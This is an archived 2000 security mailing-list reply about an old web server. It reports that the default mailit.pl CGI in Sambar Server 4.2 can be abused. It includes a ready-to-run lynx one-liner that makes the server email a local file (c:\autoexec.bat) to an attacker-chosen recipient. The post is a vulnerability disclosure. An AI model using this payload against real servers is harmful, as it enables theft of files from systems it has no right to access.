Re: Sambar Server alert! (2)

From: J.A. Gutierrez (spdat_private)
Date: Fri Feb 25 2000 - 06:11:43 PST

Next message: TAKAGI, Hiromitsu: "Re: `Microsoft VM for Java' allows reading local files using"

Previous message: Kit Knox: "Microsoft Media Server 4.1 DoS - Exploit"
Maybe in reply to: Georgi Chorbadzhiyski: "Sambar Server alert! (2)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

	This is not the only problem with default CGI's included with
	sambar 4.2.

	Have you tried

echo 'server=smtp.example.com&from=rootat_private&recipient=evilat_private&subject=Hi&body=Hello+World%0A&attach=c:\autoexec.bat' | lynx -post_data http://sambar.example.com/cgi-bin/mailit.pl

	?



--
finger spdat_private for PGP       /              So be easy and free
.mailcap tip of the day:                   /      when you're drinking with me
application/ms-tnef; cat '%s' > /dev/null / I'm a man you don't meet every day
text/x-vcard; cat '%s' > /dev/null       /            (the pogues)

Next message: TAKAGI, Hiromitsu: "Re: `Microsoft VM for Java' allows reading local files using"
Previous message: Kit Knox: "Microsoft Media Server 4.1 DoS - Exploit"
Maybe in reply to: Georgi Chorbadzhiyski: "Sambar Server alert! (2)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:37:09 PDT